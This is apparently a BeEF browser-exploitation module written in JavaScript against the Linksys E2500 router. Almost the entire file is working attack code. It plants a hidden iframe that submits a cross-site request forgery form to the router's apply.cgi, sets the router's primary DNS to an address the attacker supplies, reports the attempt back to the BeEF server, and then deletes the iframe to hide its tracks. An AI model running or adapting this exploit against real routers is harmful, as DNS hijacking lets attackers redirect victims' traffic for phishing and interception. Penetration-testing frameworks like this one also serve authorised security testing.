//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {

	// config
	var target  = 'http://<%= @rhost %>/apply.cgi';
	var dns1    = '<%= @dns1 %>';
	var timeout = 15;

	// validate primary DNS server IP address
	var parts = dns1.split('.');
	if (parts.length != 4) {
		beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
		return;
	}
	for (var i=0; i<parts.length; i++) {
		var part = parts[i];
		if (isNaN(part) || part < 0 || part > 255) {
			beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
			return;
		}
	}
	
	// change DNS
	var linksys_e2500_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "POST", "application/x-www-form-urlencoded", [
                {'type':'hidden', 'name':'submit_button', 'value': 'index'},
                {'type':'hidden', 'name':'change_action', 'value': ''},
                {'type':'hidden', 'name':'submit_type', 'value': ''},
				{'type':'hidden', 'name':'action', 'value': 'Apply'},
				{'type':'hidden', 'name':'wan_dns', 'value': '4'},
				{'type':'hidden', 'name':'wan_dns0_0', 'value': parts[0]},
				{'type':'hidden', 'name':'wan_dns0_1', 'value': parts[1]},
				{'type':'hidden', 'name':'wan_dns0_2', 'value': parts[2]},
				{'type':'hidden', 'name':'wan_dns0_3', 'value': parts[3]},
				{'type':'hidden', 'name':'wan_dns1_0', 'value': '0'},
				{'type':'hidden', 'name':'wan_dns1_1', 'value': '0'},
				{'type':'hidden', 'name':'wan_dns1_2', 'value': '0'},
				{'type':'hidden', 'name':'wan_dns1_3', 'value': '0'},
				{'type':'hidden', 'name':'wan_dns2_0', 'value': '0'},
				{'type':'hidden', 'name':'wan_dns2_1', 'value': '0'},
				{'type':'hidden', 'name':'wan_dns2_2', 'value': '0'},
				{'type':'hidden', 'name':'wan_dns2_3', 'value': '0'},
				{'type':'hidden', 'name':'wan_wins', 'value': '4'},
				{'type':'hidden', 'name':'wan_wins_0', 'value': '0'},
				{'type':'hidden', 'name':'wan_wins_1', 'value': '0'},
				{'type':'hidden', 'name':'wan_wins_2', 'value': '0'},
				{'type':'hidden', 'name':'wan_wins_3', 'value': '0'},

	]);

	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");

	// clean up
	cleanup = function() {
		document.body.removeChild(linksys_e2500_iframe_<%= @command_id %>);
	}
	setTimeout("cleanup()", timeout*1000);

});

